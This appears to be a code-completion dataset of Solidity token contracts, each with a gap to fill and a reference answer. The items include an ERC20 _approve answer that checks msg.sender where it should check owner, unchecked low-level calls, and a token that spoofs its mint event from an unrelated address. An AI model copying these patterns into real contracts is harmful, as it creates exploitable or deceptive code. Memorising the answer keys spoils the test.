mapping(address => uint256[]) MyPoolz;
uint256 internal Index;
modifier isTokenValid(address _Token){
require(isTokenWhiteListed(_Token), "Need Valid ERC20 Token"); //check if _Token is ERC20
_;
}
modifier isPoolValid(uint256 _PoolId){
require(_PoolId < Index, "Pool does not exist");
_;
}
modifier isPoolOwner(uint256 _PoolId){
require(AllPoolz[_PoolId].Owner == msg.sender, "You are not Pool Owner");
_;
}
modifier isAllowed(uint256 _PoolId, uint256 _amount){
require(_amount <= AllPoolz[_PoolId].Allowance[msg.sender], "Not enough Allowance");
_;
}
modifier isLocked(uint256 _PoolId){
require(AllPoolz[_PoolId].UnlockTime > now, "Pool is Unlocked");
_;
}
modifier notZeroAddress(address _address){
require(_address != address(0x0), "Zero Address is not allowed");
_;
}
modifier isGreaterThanZero(uint256 _num){
require(_num > 0, "Array length should be greater than zero");
_;
}
modifier isBelowLimit(uint256 _num){
require(_num <= maxTransactionLimit, "Max array length limit exceeded");
_;
}
function SplitPool(uint256 _PoolId, uint256 _NewAmount , address _NewOwner) internal returns(uint256) {
Pool storage pool = AllPoolz[_PoolId];
require(pool.Amount >= _NewAmount, "Not Enough Amount Balance");
uint256 poolAmount = SafeMath.sub(pool.Amount, _NewAmount);
pool.Amount = poolAmount;
uint256 poolId = CreatePool(pool.Token, pool.UnlockTime, _NewAmount, _NewOwner);
return poolId;
}
<FILL_FUNCTION>
} |
//register the pool
AllPoolz[Index] = Pool(_FinishTime, _StartAmount, _Owner, _Token);
MyPoolz[_Owner].push(Index);
emit NewPoolCreated(Index, _Token, _FinishTime, _StartAmount, _Owner);
uint256 poolId = Index;
Index = SafeMath.add(Index, 1); //joke - overflowfrom 0 on int256 = 1.16E77
return poolId;
| function CreatePool(
address _Token, //token to lock address
uint64 _FinishTime, //Until what time the pool will work
uint256 _StartAmount, //Total amount of the tokens to sell in the pool
address _Owner // Who the tokens belong to
) internal returns(uint256) | //create a new pool
function CreatePool(
address _Token, //token to lock address
uint64 _FinishTime, //Until what time the pool will work
uint256 _StartAmount, //Total amount of the tokens to sell in the pool
address _Owner // Who the tokens belong to
) internal returns(uint256) |
20013 | Forwarder | flushTokens | contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint value, bytes data);
event TokensFlushed(
address tokenContractAddress, // The contract address of the token
uint value // Amount of token sent
);
/**
* Create the contract, and set the destination address to that of the creator
*/
function Forwarder() {
parentAddress = msg.sender;
}
/**
* Modifier that will execute internal code block only if the sender is a parent of the forwarder contract
*/
modifier onlyParent {
if (msg.sender != parentAddress) {
throw;
}
_;
}
/**
* Default function; Gets called when Ether is deposited, and forwards it to the destination address
*/
function() payable {
if (!parentAddress.call.value(msg.value)(msg.data))
throw;
// Fire off the deposited event if we can forward it
ForwarderDeposited(msg.sender, msg.value, msg.data);
}
/**
* Execute a token transfer of the full balance from the forwarder token to the main wallet contract
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) onlyParent {<FILL_FUNCTION_BODY> }
/**
* It is possible that funds were sent to this address before the contract was deployed.
* We can flush those funds to the destination address.
*/
function flush() {
if (!parentAddress.call.value(this.balance)())
throw;
}
} | contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint value, bytes data);
event TokensFlushed(
address tokenContractAddress, // The contract address of the token
uint value // Amount of token sent
);
/**
* Create the contract, and set the destination address to that of the creator
*/
function Forwarder() {
parentAddress = msg.sender;
}
/**
* Modifier that will execute internal code block only if the sender is a parent of the forwarder contract
*/
modifier onlyParent {
if (msg.sender != parentAddress) {
throw;
}
_;
}
/**
* Default function; Gets called when Ether is deposited, and forwards it to the destination address
*/
function() payable {
if (!parentAddress.call.value(msg.value)(msg.data))
throw;
// Fire off the deposited event if we can forward it
ForwarderDeposited(msg.sender, msg.value, msg.data);
}
<FILL_FUNCTION>
/**
* It is possible that funds were sent to this address before the contract was deployed.
* We can flush those funds to the destination address.
*/
function flush() {
if (!parentAddress.call.value(this.balance)())
throw;
}
} |
ERC20Interface instance = ERC20Interface(tokenContractAddress);
var forwarderAddress = address(this);
var forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
if (!instance.transfer(parentAddress, forwarderBalance)) {
throw;
}
TokensFlushed(tokenContractAddress, forwarderBalance);
| function flushTokens(address tokenContractAddress) onlyParent | /**
* Execute a token transfer of the full balance from the forwarder token to the main wallet contract
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) onlyParent |
62311 | MintableToken | finishMinting | contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {<FILL_FUNCTION_BODY> }
} | contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
<FILL_FUNCTION>
} |
mintingFinished = true;
MintFinished();
return true;
| function finishMinting() onlyOwner canMint public returns (bool) | /**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) |
85640 | BlackList | destroyBlackFunds | contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping(address => bool) public isBlackListed;
function addBlackList(address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList(address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
function destroyBlackFunds(address _blackListedUser) public onlyOwner {<FILL_FUNCTION_BODY> }
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
} | contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping(address => bool) public isBlackListed;
function addBlackList(address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList(address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
<FILL_FUNCTION>
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
} |
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
totalSupplyNum -= dirtyFunds;
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
| function destroyBlackFunds(address _blackListedUser) public onlyOwner | function destroyBlackFunds(address _blackListedUser) public onlyOwner |
28528 | MILLIODS | approveAndCall | contract MILLIODS is StandardToken {
function () {
throw;
}
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function MILLIODS(
) {
balances[msg.sender] = 50000000000000000000000000;
totalSupply = 50000000000000000000000000;
name = "MILLIODS";
decimals = 18;
symbol = "MID";
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract MILLIODS is StandardToken {
function () {
throw;
}
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function MILLIODS(
) {
balances[msg.sender] = 50000000000000000000000000;
totalSupply = 50000000000000000000000000;
name = "MILLIODS";
decimals = 18;
symbol = "MID";
}
<FILL_FUNCTION>
} |
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
| function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) | /* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) |
33626 | FinalizableToken | transferFrom | contract FinalizableToken is ERC20Token, Owned {
using SafeMath for uint256;
/**
* @dev Call publicReservedAddress - library function exposed for testing.
*/
address public publicReservedAddress;
event Burn(address indexed burner,uint256 value);
// The constructor will assign the initial token supply to the owner (msg.sender).
constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply,address _publicReserved,uint256 _publicReservedPersentage) public
ERC20Token(_name, _symbol, _decimals, _totalSupply, _publicReserved, _publicReservedPersentage)
Owned(){
publicReservedAddress = _publicReserved;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
tokenTotalSupply = tokenTotalSupply.sub(_value);
emit Burn(burner, _value);
}
//get current time
function currentTime() public constant returns (uint256) {
return now;
}
} | contract FinalizableToken is ERC20Token, Owned {
using SafeMath for uint256;
/**
* @dev Call publicReservedAddress - library function exposed for testing.
*/
address public publicReservedAddress;
event Burn(address indexed burner,uint256 value);
// The constructor will assign the initial token supply to the owner (msg.sender).
constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply,address _publicReserved,uint256 _publicReservedPersentage) public
ERC20Token(_name, _symbol, _decimals, _totalSupply, _publicReserved, _publicReservedPersentage)
Owned(){
publicReservedAddress = _publicReserved;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return super.transfer(_to, _value);
}
<FILL_FUNCTION>
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
tokenTotalSupply = tokenTotalSupply.sub(_value);
emit Burn(burner, _value);
}
//get current time
function currentTime() public constant returns (uint256) {
return now;
}
} |
return super.transferFrom(_from, _to, _value);
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) |
56080 | ERC20 | _approve | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {<FILL_FUNCTION_BODY> }
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
} | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
<FILL_FUNCTION>
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
} |
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
require((value == 0) || _allowances[msg.sender][spender] == 0, "Approve Error");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
| function _approve(address owner, address spender, uint256 value) internal | function _approve(address owner, address spender, uint256 value) internal |
6809 | BOXToken | setLockup_contributors | contract BOXToken is StandardToken, Ownable {
string public name = "BOX Token";
string public symbol = "BOX";
uint public decimals = 18;
// The token allocation
uint public constant TOTAL_SUPPLY = 3000000000e18;
uint public constant ALLOC_ECOSYSTEM = 900000000e18; // 30%
uint public constant ALLOC_FOUNDATION = 600000000e18; // 20%
uint public constant ALLOC_TEAM = 450000000e18; // 15%
uint public constant ALLOC_PARTNER = 300000000e18; // 10%
uint public constant ALLOC_SALE = 750000000e18; // 25%
// wallets
address public constant WALLET_ECOSYSTEM = 0x49dE776A181603b11116E7DaB15d84BE6711D54A;
address public constant WALLET_FOUNDATION = 0x8546a5a4b3BBE86Bf57fC9F5E497c770ae5D0233;
address public constant WALLET_TEAM = 0x9f255092008F6163395aEB35c4Dec58a1ecbdFd6;
address public constant WALLET_PARTNER = 0xD6d64A62A7fF8F55841b0DD2c02d5052457bCA6c;
address public constant WALLET_SALE = 0x55aaeC60E116086AC3a5e4fDC74b21de9B91CC53;
// 2 groups of lockup
mapping(address => uint256) public contributors_locked;
mapping(address => uint256) public investors_locked;
// 2 types of releasing
mapping(address => uint256) public contributors_countdownDate;
mapping(address => uint256) public investors_deliveryDate;
// MODIFIER
// checks if the address can transfer certain amount of tokens
modifier canTransfer(address _sender, uint256 _value) {
require(_sender != address(0));
uint256 remaining = balances[_sender].sub(_value);
uint256 totalLockAmt = 0;
if (contributors_locked[_sender] > 0) {
totalLockAmt = totalLockAmt.add(getLockedAmount_contributors(_sender));
}
if (investors_locked[_sender] > 0) {
totalLockAmt = totalLockAmt.add(getLockedAmount_investors(_sender));
}
require(remaining >= totalLockAmt);
_;
}
// EVENTS
event UpdatedLockingState(string whom, address indexed to, uint256 value, uint256 date);
// FUNCTIONS
function BOXToken() public {
balances[msg.sender] = TOTAL_SUPPLY;
totalSupply = TOTAL_SUPPLY;
// do the distribution of the token, in token transfer
transfer(WALLET_ECOSYSTEM, ALLOC_ECOSYSTEM);
transfer(WALLET_FOUNDATION, ALLOC_FOUNDATION);
transfer(WALLET_TEAM, ALLOC_TEAM);
transfer(WALLET_PARTNER, ALLOC_PARTNER);
transfer(WALLET_SALE, ALLOC_SALE);
}
// get contributors' locked amount of token
// this lockup will be released in 8 batches which take place every 180 days
function getLockedAmount_contributors(address _contributor)
public
constant
returns (uint256)
{
uint256 countdownDate = contributors_countdownDate[_contributor];
uint256 lockedAmt = contributors_locked[_contributor];
if (now <= countdownDate + (180 * 1 days)) {return lockedAmt;}
if (now <= countdownDate + (180 * 2 days)) {return lockedAmt.mul(7).div(8);}
if (now <= countdownDate + (180 * 3 days)) {return lockedAmt.mul(6).div(8);}
if (now <= countdownDate + (180 * 4 days)) {return lockedAmt.mul(5).div(8);}
if (now <= countdownDate + (180 * 5 days)) {return lockedAmt.mul(4).div(8);}
if (now <= countdownDate + (180 * 6 days)) {return lockedAmt.mul(3).div(8);}
if (now <= countdownDate + (180 * 7 days)) {return lockedAmt.mul(2).div(8);}
if (now <= countdownDate + (180 * 8 days)) {return lockedAmt.mul(1).div(8);}
return 0;
}
// get investors' locked amount of token
// this lockup will be released in 3 batches:
// 1. on delievery date
// 2. three months after the delivery date
// 3. six months after the delivery date
function getLockedAmount_investors(address _investor)
public
constant
returns (uint256)
{
uint256 delieveryDate = investors_deliveryDate[_investor];
uint256 lockedAmt = investors_locked[_investor];
if (now <= delieveryDate) {return lockedAmt;}
if (now <= delieveryDate + 90 days) {return lockedAmt.mul(2).div(3);}
if (now <= delieveryDate + 180 days) {return lockedAmt.mul(1).div(3);}
return 0;
}
// set lockup for contributors
function setLockup_contributors(address _contributor, uint256 _value, uint256 _countdownDate)
public
onlyOwner
{<FILL_FUNCTION_BODY> }
// set lockup for strategic investor
function setLockup_investors(address _investor, uint256 _value, uint256 _delieveryDate)
public
onlyOwner
{
require(_investor != address(0));
investors_locked[_investor] = _value;
investors_deliveryDate[_investor] = _delieveryDate;
UpdatedLockingState("investor", _investor, _value, _delieveryDate);
}
// Transfer amount of tokens from sender account to recipient.
function transfer(address _to, uint _value)
public
canTransfer(msg.sender, _value)
returns (bool success)
{
return super.transfer(_to, _value);
}
// Transfer amount of tokens from a specified address to a recipient.
function transferFrom(address _from, address _to, uint _value)
public
canTransfer(_from, _value)
returns (bool success)
{
return super.transferFrom(_from, _to, _value);
}
} | contract BOXToken is StandardToken, Ownable {
string public name = "BOX Token";
string public symbol = "BOX";
uint public decimals = 18;
// The token allocation
uint public constant TOTAL_SUPPLY = 3000000000e18;
uint public constant ALLOC_ECOSYSTEM = 900000000e18; // 30%
uint public constant ALLOC_FOUNDATION = 600000000e18; // 20%
uint public constant ALLOC_TEAM = 450000000e18; // 15%
uint public constant ALLOC_PARTNER = 300000000e18; // 10%
uint public constant ALLOC_SALE = 750000000e18; // 25%
// wallets
address public constant WALLET_ECOSYSTEM = 0x49dE776A181603b11116E7DaB15d84BE6711D54A;
address public constant WALLET_FOUNDATION = 0x8546a5a4b3BBE86Bf57fC9F5E497c770ae5D0233;
address public constant WALLET_TEAM = 0x9f255092008F6163395aEB35c4Dec58a1ecbdFd6;
address public constant WALLET_PARTNER = 0xD6d64A62A7fF8F55841b0DD2c02d5052457bCA6c;
address public constant WALLET_SALE = 0x55aaeC60E116086AC3a5e4fDC74b21de9B91CC53;
// 2 groups of lockup
mapping(address => uint256) public contributors_locked;
mapping(address => uint256) public investors_locked;
// 2 types of releasing
mapping(address => uint256) public contributors_countdownDate;
mapping(address => uint256) public investors_deliveryDate;
// MODIFIER
// checks if the address can transfer certain amount of tokens
modifier canTransfer(address _sender, uint256 _value) {
require(_sender != address(0));
uint256 remaining = balances[_sender].sub(_value);
uint256 totalLockAmt = 0;
if (contributors_locked[_sender] > 0) {
totalLockAmt = totalLockAmt.add(getLockedAmount_contributors(_sender));
}
if (investors_locked[_sender] > 0) {
totalLockAmt = totalLockAmt.add(getLockedAmount_investors(_sender));
}
require(remaining >= totalLockAmt);
_;
}
// EVENTS
event UpdatedLockingState(string whom, address indexed to, uint256 value, uint256 date);
// FUNCTIONS
function BOXToken() public {
balances[msg.sender] = TOTAL_SUPPLY;
totalSupply = TOTAL_SUPPLY;
// do the distribution of the token, in token transfer
transfer(WALLET_ECOSYSTEM, ALLOC_ECOSYSTEM);
transfer(WALLET_FOUNDATION, ALLOC_FOUNDATION);
transfer(WALLET_TEAM, ALLOC_TEAM);
transfer(WALLET_PARTNER, ALLOC_PARTNER);
transfer(WALLET_SALE, ALLOC_SALE);
}
// get contributors' locked amount of token
// this lockup will be released in 8 batches which take place every 180 days
function getLockedAmount_contributors(address _contributor)
public
constant
returns (uint256)
{
uint256 countdownDate = contributors_countdownDate[_contributor];
uint256 lockedAmt = contributors_locked[_contributor];
if (now <= countdownDate + (180 * 1 days)) {return lockedAmt;}
if (now <= countdownDate + (180 * 2 days)) {return lockedAmt.mul(7).div(8);}
if (now <= countdownDate + (180 * 3 days)) {return lockedAmt.mul(6).div(8);}
if (now <= countdownDate + (180 * 4 days)) {return lockedAmt.mul(5).div(8);}
if (now <= countdownDate + (180 * 5 days)) {return lockedAmt.mul(4).div(8);}
if (now <= countdownDate + (180 * 6 days)) {return lockedAmt.mul(3).div(8);}
if (now <= countdownDate + (180 * 7 days)) {return lockedAmt.mul(2).div(8);}
if (now <= countdownDate + (180 * 8 days)) {return lockedAmt.mul(1).div(8);}
return 0;
}
// get investors' locked amount of token
// this lockup will be released in 3 batches:
// 1. on delievery date
// 2. three months after the delivery date
// 3. six months after the delivery date
function getLockedAmount_investors(address _investor)
public
constant
returns (uint256)
{
uint256 delieveryDate = investors_deliveryDate[_investor];
uint256 lockedAmt = investors_locked[_investor];
if (now <= delieveryDate) {return lockedAmt;}
if (now <= delieveryDate + 90 days) {return lockedAmt.mul(2).div(3);}
if (now <= delieveryDate + 180 days) {return lockedAmt.mul(1).div(3);}
return 0;
}
<FILL_FUNCTION>
// set lockup for strategic investor
function setLockup_investors(address _investor, uint256 _value, uint256 _delieveryDate)
public
onlyOwner
{
require(_investor != address(0));
investors_locked[_investor] = _value;
investors_deliveryDate[_investor] = _delieveryDate;
UpdatedLockingState("investor", _investor, _value, _delieveryDate);
}
// Transfer amount of tokens from sender account to recipient.
function transfer(address _to, uint _value)
public
canTransfer(msg.sender, _value)
returns (bool success)
{
return super.transfer(_to, _value);
}
// Transfer amount of tokens from a specified address to a recipient.
function transferFrom(address _from, address _to, uint _value)
public
canTransfer(_from, _value)
returns (bool success)
{
return super.transferFrom(_from, _to, _value);
}
} |
require(_contributor != address(0));
contributors_locked[_contributor] = _value;
contributors_countdownDate[_contributor] = _countdownDate;
UpdatedLockingState("contributor", _contributor, _value, _countdownDate);
| function setLockup_contributors(address _contributor, uint256 _value, uint256 _countdownDate)
public
onlyOwner
| // set lockup for contributors
function setLockup_contributors(address _contributor, uint256 _value, uint256 _countdownDate)
public
onlyOwner
|
75226 | BurnableToken | _burn | contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {<FILL_FUNCTION_BODY> }
} | contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
<FILL_FUNCTION>
} |
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
| function _burn(address _who, uint256 _value) internal | function _burn(address _who, uint256 _value) internal |
22036 | StealthCapital | _getTValues | contract StealthCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Stealth Capital";
string private constant _symbol = "SC";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x81E21Cc763127BB7962cEf14C62FF999f4F4C9A0);
_feeAddrWallet2 = payable(0x81E21Cc763127BB7962cEf14C62FF999f4F4C9A0);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
